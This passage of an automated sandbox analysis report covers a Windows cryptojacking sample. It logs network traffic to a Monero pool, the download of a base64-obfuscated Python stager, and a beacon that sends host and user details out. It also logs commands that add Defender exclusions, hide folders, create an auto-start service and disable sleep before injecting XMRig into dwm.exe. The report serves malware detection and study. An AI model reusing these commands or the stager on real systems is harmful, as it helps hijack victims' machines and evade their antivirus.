Sep 25, 2024 03:52:22.806138039 CEST	80	49739	194.59.31.63	192.168.2.4
Sep 25, 2024 03:52:22.856940985 CEST	10128	49738	149.102.143.109	192.168.2.4
Sep 25, 2024 03:52:22.905488014 CEST	49738	10128	192.168.2.4	149.102.143.109
Sep 25, 2024 03:52:27.780618906 CEST	49739	80	192.168.2.4	194.59.31.63
Sep 25, 2024 03:52:27.830631971 CEST	80	49739	194.59.31.63	192.168.2.4
Sep 25, 2024 03:52:27.918041945 CEST	10128	49738	149.102.143.109	192.168.2.4
Sep 25, 2024 03:52:27.968003988 CEST	49738	10128	192.168.2.4	149.102.143.109
Sep 25, 2024 03:52:44.158085108 CEST	80	49739	194.59.31.63	192.168.2.4
Sep 25, 2024 03:52:44.158153057 CEST	49739	80	192.168.2.4	194.59.31.63
Sep 25, 2024 03:52:58.075095892 CEST	10128	49738	149.102.143.109	192.168.2.4
Sep 25, 2024 03:52:58.124350071 CEST	49738	10128	192.168.2.4	149.102.143.109

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 03:52:22.239531040 CEST	64208	53	192.168.2.4	1.1.1.1
Sep 25, 2024 03:52:22.246515036 CEST	53	64208	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 03:52:22.239531040 CEST	192.168.2.4	1.1.1.1	0x431b	Standard query (0)	gulf.moneroocean.stream	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 03:52:22.246515036 CEST	1.1.1.1	192.168.2.4	0x431b	No error (0)	gulf.moneroocean.stream	monerooceans.stream		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 03:52:22.246515036 CEST	1.1.1.1	192.168.2.4	0x431b	No error (0)	monerooceans.stream		149.102.143.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

3.80.28.180

194.59.31.63

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	3.80.28.180	80	6792	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 03:51:26.007844925 CEST	124	OUT	GET /MpGLnxkd/eur1.py HTTP/1.1 Accept-Encoding: identity Host: 3.80.28.180 User-Agent: Mozilla/5.0 Connection: close
Sep 25, 2024 03:51:26.484253883 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/x-python Date: Wed, 25 Sep 2024 01:51:26 GMT Connection: close Transfer-Encoding: chunked Data Raw: 32 30 30 0d 0a 69 6d 70 6f 72 74 20 6f 73 0d 0a 69 6d 70 6f 72 74 20 73 75 62 70 72 6f 63 65 73 73 0d 0a 69 6d 70 6f 72 74 20 73 79 73 0d 0a 69 6d 70 6f 72 74 20 63 74 79 70 65 73 0d 0a 69 6d 70 6f 72 74 20 62 61 73 65 36 34 0d 0a 69 6d 70 6f 72 74 20 74 65 6d 70 66 69 6c 65 0d 0a 69 6d 70 6f 72 74 20 72 61 6e 64 6f 6d 0d 0a 0d 0a 65 78 65 63 28 5f 5f 69 6d 70 6f 72 74 5f 5f 28 27 62 61 73 65 36 34 27 29 2e 62 36 34 64 65 63 6f 64 65 28 27 61 57 31 77 62 33 4a 30 49 47 39 7a 43 6d 6c 74 63 47 39 79 64 43 42 7a 64 57 4a 77 63 6d 39 6a 5a 58 4e 7a 43 6d 6c 74 63 47 39 79 64 43 42 7a 65 58 4d 4b 61 57 31 77 62 33 4a 30 49 47 4e 30 65 58 42 6c 63 77 70 70 62 58 42 76 63 6e 51 67 59 6d 46 7a 5a 54 59 30 43 6d 6c 74 63 47 39 79 64 43 42 30 5a 57 31 77 5a 6d 6c 73 5a 51 70 70 62 58 42 76 63 6e 51 67 63 6d 46 75 5a 47 39 74 43 67 70 6f 58 32 49 32 4e 43 41 39 49 43 4a 77 52 55 4e 44 61 32 46 59 61 55 39 77 64 47 46 31 4c 30 64 55 55 6a 51 33 55 31 68 6c 57 47 56 46 4e 30 56 35 4c 33 46 30 53 32 31 50 5a 6c [TRUNCATED] Data Ascii: 200import osimport subprocessimport sysimport ctypesimport base64import tempfileimport randomexec(__import__('base64').b64decode('aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBzeXMKaW1wb3J0IGN0eXBlcwppbXBvcnQgYmFzZTY0CmltcG9ydCB0ZW1wZmlsZQppbXBvcnQgcmFuZG9tCgpoX2I2NCA9ICJwRUNDa2FYaU9wdGF1L0dUUjQ3U1hlWGVFN0V5L3F0S21PZlFtTjJRVTJrQUJsbWhpQXJ0eEtyRUxSRkdCTHp1cW9JQlk0eGpQSUdKL2JGTnIxVlFqeG82bjFXbDYyTlMxQXFISXNiU3ZvNXdDeFNaU2NXQjEwS1JNRmcrejRMQnFDRlVmSS9ZVERVcmU1NUtjNlU1K3ZFNVQ4OXJxc0NQZC9tWTVwZWJvQ8000XRFZVZ5WUFIOFpKU052R25pSlpycWhyZUQxL2FaaC8yZjMyQ29qaC9Jc0ljbm0vL01hdmlkS0taRUZpbGNTa09DYVFOdlU4dFVVZWhJUzloTm5BQTh5OTNPWkxBanh0VURkakpOeWVrc0RGeERLOXJOTHJJSHNQbTBPU0c3ZzkwSWdXaFZHUWdiR0VvSHBXQ1MrR1U5VjRTV01vK0pWRXE5RFk2T1hZUzM1T0crME9QR0Mrak50R1lmYjM2TmNFRTh0QnFmbkZnQ3ByTmNiNUU0SlR4aE51RE1KR3Qway93M0gvU1gyTTdBSnJWRG1Id2pVRHc5d3dLRHQ5OHpqWDJSZVVrYzBtZFZkR0htdEZ4UEpjVmk2a1NRSDNlMzJJbkI0S1g1d2g0Q1NuRE8zVUtoSnFJMU01NTlZKy9XMVRBcHd6YWhCRERGbWI2dXZabnRoRmoxNFQzUnV2Uzg4SlFkYWVNSzBXK1BOREs3 [TRUNCATED]
Sep 25, 2024 03:51:26.484319925 CEST	1236	IN	Data Raw: 57 54 4e 33 53 47 38 34 62 56 64 58 52 7a 64 45 51 6a 4d 33 62 6d 6b 30 55 6d 46 73 56 45 46 44 53 56 70 4e 52 46 42 6c 53 56 64 59 51 6b 39 68 64 6b 46 43 4b 32 68 7a 4f 48 51 78 4e 56 5a 6d 56 45 4a 7a 57 47 59 30 51 57 35 57 53 57 64 52 51 54 Data Ascii: WTN3SG84bVdXRzdEQjM3bmk0UmFsVEFDSVpNRFBlSVdYQk9hdkFCK2hzOHQxNVZmVEJzWGY0QW5WSWdRQTY3VEFEK2lsbndDcTZBRnB0MkwzU1ZxdUJ4dEFSdzM1c3J0R3NHTUs0S0Q5aTV2VHhZTUVzTXJNU2NQZ0FpYUNLZWdIdE5Qd2x1b2tueGhFWHc4VjYwdzdsTEFhcHpJY0lSU01qbE92bVFwb2k5cVRLS3lmSlc1bXd
Sep 25, 2024 03:51:26.484354973 CEST	1236	IN	Data Raw: 63 6b 4a 6f 63 46 6c 58 59 31 70 78 4d 6b 4a 48 51 55 78 4a 52 45 68 31 57 55 4a 35 57 48 56 42 52 56 5a 5a 55 32 38 33 4f 55 46 33 53 56 56 44 52 58 5a 78 53 56 4d 76 52 44 52 6b 64 48 52 78 53 46 51 32 4d 6a 46 74 4e 57 31 50 64 6d 5a 44 61 6d Data Ascii: ckJocFlXY1pxMkJHQUxJREh1WUJ5WHVBRVZZU283OUF3SVVDRXZxSVMvRDRkdHRxSFQ2MjFtNW1PdmZDam5TQWlYU0JiY1BQelpEYlZIYWc5RXJoWjliS1dIQldmakdPWmhxWnZJM3ZDSzdMTXFIWXhKcFdKbWZOemc1TUNZZHJoV0R5VUxYUnF1eDBvZUpwZ3hRMWJxV3pRVTdmdVpvMUphRmhPM0VSamgzdG4vQ28zL2NScGk
Sep 25, 2024 03:51:26.484411001 CEST	672	IN	Data Raw: 54 6b 46 6e 59 6d 74 6d 64 47 46 61 4b 30 6c 59 57 54 56 74 55 57 55 34 52 6a 4a 4b 63 6c 6f 30 52 33 56 69 52 6e 4e 5a 4c 32 6f 33 62 6d 70 68 52 6a 52 32 64 69 74 31 61 55 70 70 52 45 31 6f 61 43 73 77 55 54 4a 32 56 56 52 75 4c 33 67 31 62 6d Data Ascii: TkFnYmtmdGFaK0lYWTVtUWU4RjJKclo0R3ViRnNZL2o3bmphRjR2dit1aUppRE1oaCswUTJ2VVRuL3g1bmVwOFNKdXd5QXZ3cGNDU01PMllUekVuNWdIc2VMTVBoQ1FabUp6UDNFMjhRRDdoUXVJODhTUCs1R1FMWUZEb3pmSzFTZFdrNnJXd1JSbXpCQkdrZnBPMXFqTkt1dEpCcm9Ka1NTb2dJZ2NxNUJ1WGVKVEdMMEFZTyt
Sep 25, 2024 03:51:26.484445095 CEST	1236	IN	Data Raw: 54 57 39 4b 62 32 31 57 51 56 42 6f 62 33 4e 54 4b 32 46 6c 51 57 35 76 52 47 64 72 4d 54 67 78 54 56 52 4c 63 69 74 59 54 45 49 72 64 56 4e 6b 52 54 64 36 57 57 49 30 64 48 64 43 4d 6c 4e 6c 4d 56 6c 44 64 56 46 68 61 32 64 6b 4d 47 64 30 64 30 Data Ascii: TW9Kb21WQVBob3NTK2FlQW5vRGdrMTgxTVRLcitYTEIrdVNkRTd6WWI0dHdCMlNlMVlDdVFha2dkMGd0d0FCUDJZUTRtMU1GMHNDd0FGVFNqc2NNQnFzK1NGdjF6NisyUkdtbUFZbGtMLzR2SlpCN0VpWVhkbVFBUG5Kam1nQUVMVkd1UkZ6T1VBZ04rU2xHZU1tdzVxREc2Rm5BQUFBSUtSRnBieHNGOEFtRW13akVGWTFaVzN
Sep 25, 2024 03:51:26.484479904 CEST	1236	IN	Data Raw: 51 55 49 79 55 6c 46 4a 55 46 64 70 51 6d 39 47 56 58 42 51 5a 47 46 54 63 57 70 59 55 30 46 44 63 32 35 5a 57 55 52 58 64 45 6c 73 55 33 6c 6b 53 6c 4a 79 5a 58 4a 68 65 57 45 33 4e 6d 52 55 64 7a 4d 32 64 6d 51 33 64 6c 52 4b 63 47 59 78 51 32 Data Ascii: QUIyUlFJUFdpQm9GVXBQZGFTcWpYU0FDc25ZWURXdElsU3lkSlJyZXJheWE3NmRUdzM2dmQ3dlRKcGYxQ21QeGlKWUlOdStyb3ZBTXNDaitxVFFETGdmdUhxVGdraGVEaW40QVRFQ0FaRnhRQUh1ZklTMEFxV0k2UlNEMWV6Z0FiNzR3QUJwUTNkaUtKWUFPS2dBRVJtTXdCNG1xMlo1QUFBSUFid0FCUnNBcGxRQVFFSVJNQjd
Sep 25, 2024 03:51:26.484529972 CEST	1236	IN	Data Raw: 55 6d 68 71 65 57 78 4d 57 6e 52 44 4d 45 56 49 63 7a 5a 71 54 7a 42 43 5a 57 70 48 51 6c 52 55 53 56 6c 76 59 6c 4a 6e 51 31 52 72 56 55 52 61 52 6c 49 79 4b 33 56 71 65 6c 4e 4e 65 45 77 7a 61 58 64 75 5a 58 42 43 55 45 68 6c 57 55 78 72 63 33 Data Ascii: UmhqeWxMWnRDMEVIczZqTzBCZWpHQlRUSVlvYlJnQ1RrVURaRlIyK3VqelNNeEwzaXduZXBCUEhlWUxrc3FhSTZOamRiNUF4djRncFByK1YyZ2NGNFdqQVRiejhOT3dOd0xNL1BvT3E5UlNXMm5HblgwTlUzc0NTWnFJdGhpT1RKVEw4aWRHeXdlNUVPaEhDbSs0SzhtRFlXSmhwL1RoTDIwc1ZxUXlBeHNCaWxwOEI4b0RKMUN
Sep 25, 2024 03:51:26.484569073 CEST	1236	IN	Data Raw: 62 6e 70 6a 55 6b 6b 72 61 30 64 7a 61 55 56 7a 59 32 4d 7a 4f 58 6f 33 53 57 70 72 56 45 31 79 64 6b 5a 30 57 58 42 69 5a 57 39 75 52 33 5a 79 62 46 68 6d 56 57 39 6d 52 32 46 56 5a 48 4e 4e 57 47 56 4c 62 48 46 46 61 45 56 4e 5a 44 4a 4c 5a 6b Data Ascii: bnpjUkkra0dzaUVzY2MzOXo3SWprVE1ydkZ0WXBiZW9uR3ZybFhmVW9mR2FVZHNNWGVLbHFFaEVNZDJLZkU5NU1OMnpxTi9JaWczalBxOWdBQUhnWm9IK1MrNU9wZVZlaDZ3bjJPYmlFQ2VpejFkRUFyenZ4UEUyd053VUFBQnIzMnNBK205ejhBREpBZWFXaUJuUDVDTXVBQUFDbUZxSWRBV2VDa29BUm9BVnNBQXQxTklBQUM
Sep 25, 2024 03:51:26.484616995 CEST	1236	IN	Data Raw: 56 45 5a 35 5a 47 74 6e 63 7a 4e 6f 63 6a 64 6f 4e 33 45 77 51 55 45 32 61 56 68 44 55 47 59 34 56 6a 4a 31 51 6b 77 31 65 48 5a 4b 4d 6b 30 34 65 56 68 57 4f 54 45 34 55 6b 70 79 55 33 52 69 61 45 6b 76 52 31 64 53 51 57 56 30 51 57 56 69 57 6d Data Ascii: VEZ5ZGtnczNocjdoN3EwQUE2aVhDUGY4VjJ1Qkw1eHZKMk04eVhWOTE4UkpyU3RiaEkvR1dSQWV0QWViWmVNNGNEY0MzaVpUQlA5QXVDTkkxbGk3WXh3YUUzSjErbUJ4ZXRRQktYaUFCT3dDRkFBTFpabm1Vd2JDMG9CRDUzQlNzR3FDUTg3THNQR1ZPaTUySUFUVTZsZ2dFTjB6Wmc1OVFnVXc0NGlSQ2FIQkFnQ3FBRHhDT1B
Sep 25, 2024 03:51:26.484652042 CEST	1236	IN	Data Raw: 54 6d 4e 45 57 46 6b 7a 64 31 46 6a 4e 47 30 30 51 55 52 6e 63 55 39 42 64 30 46 68 5a 30 46 34 63 45 64 59 53 56 46 42 55 57 64 55 4e 6b 46 47 53 30 46 42 51 57 4e 4e 55 48 64 33 51 56 4e 68 51 6c 64 5a 55 32 64 42 65 6b 31 6f 51 55 46 42 51 55 Data Ascii: TmNEWFkzd1FjNG00QURncU9Bd0FhZ0F4cEdYSVFBUWdUNkFGS0FBQWNNUHd3QVNhQldZU2dBek1oQUFBQUtZVGhBS05BQlNVZnB0MzdrNGdxb3lPNWx1VU1XcUJSUFg3SmR0VUJPSU9iN1VJUWhkcEFkV1pDTTkrNEFBQ2t3QWdCTGxBQjE4YTJxa1M5RGpWQVAxaHFHcExSWWc0cFRsOE05TUwySUFBTEJubEJ5bGhtRlcyb0l
Sep 25, 2024 03:51:26.489537954 CEST	1236	IN	Data Raw: 62 6b 70 77 5a 57 64 42 5a 47 74 44 5a 55 6c 4d 4e 44 52 6f 53 57 74 42 54 55 74 53 64 30 46 42 51 32 35 78 65 56 52 6e 4f 47 34 35 51 30 70 6a 61 48 42 72 63 45 78 30 56 47 64 55 53 6e 41 30 52 30 55 7a 65 6e 6b 77 55 47 52 69 51 57 39 6e 53 6d Data Ascii: bkpwZWdBZGtDZUlMNDRoSWtBTUtSd0FBQ25xeVRnOG45Q0pjaHBrcEx0VGdUSnA0R0UzenkwUGRiQW9nSmd6NEFHMTJpaFpTcklPYU9qUGlBQVN0d0FIa0VDRUxlb2NBQlJ2UlFBQUFXT1U0MkFEV3J1UHM0Q3hPMEszSTN3RG9wZ0UxTXBwVEFRQTlJQ29mSXdBMGVJY0FDQngwVCtnWjVrRTJKQ052WVZnaWIxUUk3QUZJbzh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	194.59.31.63	80	2764	C:\Windows\System32\dwm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 03:52:22.795171976 CEST	172	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 308 Content-Type: application/json Host: 194.59.31.63 User-Agent: cpp-httplib/0.12.6
Sep 25, 2024 03:52:22.801362991 CEST	308	OUT	Data Raw: 7b 22 69 64 22 3a 22 66 74 63 7a 70 7a 79 75 6e 6d 75 6f 6e 7a 64 6d 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 31 32 34 34 30 36 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 6f 6e 65 73 22 2c 22 67 70 75 22 3a 22 58 55 39 54 48 4e 58 Data Ascii: {"id":"ftczpzyunmuonzdm","computername":"124406","username":"user","gpu":"XU9THNX_1","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.3.1","activewindow":"C:\\Windows\\explo

Target ID:	0
Start time:	21:51:13
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff78d280000
File size:	7'805'885 bytes
MD5 hash:	59005D24321480B22AB38EF753109B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:51:14
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff78d280000
File size:	7'805'885 bytes
MD5 hash:	59005D24321480B22AB38EF753109B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:51:39
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"
Imagebase:	0x7ff7699e0000
File size:	7'805'885 bytes
MD5 hash:	59005D24321480B22AB38EF753109B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:51:39
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"
Imagebase:	0x7ff78d280000
File size:	7'805'885 bytes
MD5 hash:	59005D24321480B22AB38EF753109B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:51:52
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:51:52
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:51:52
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:51:56
Start date:	24/09/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:51:57
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8""
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:51:57
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:51:57
Start date:	24/09/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"
Imagebase:	0x7ff7b21f0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:52:15
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe"
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:52:15
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto"
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:52:15
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:52:15
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:52:19
Start date:	24/09/2024
Path:	C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe
Imagebase:	0x7ff73ea20000
File size:	713'031'680 bytes
MD5 hash:	062C19600CD942AE5C1004E91507B9A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:52:18
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto
Imagebase:	0x7ff6a5700000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:52:18
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "sc description DrvSvc "Launches applications associated with still image acquisition events.""
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:52:18
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:52:18
Start date:	24/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc description DrvSvc "Launches applications associated with still image acquisition events."
Imagebase:	0x7ff6a5700000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff7f6b00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff796a20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff796a20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dwm.exe
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2484157082.00000218DB15F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	21:52:20
Start date:	24/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff796a20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:52:21
Start date:	24/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff796a20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	52

Executed Functions

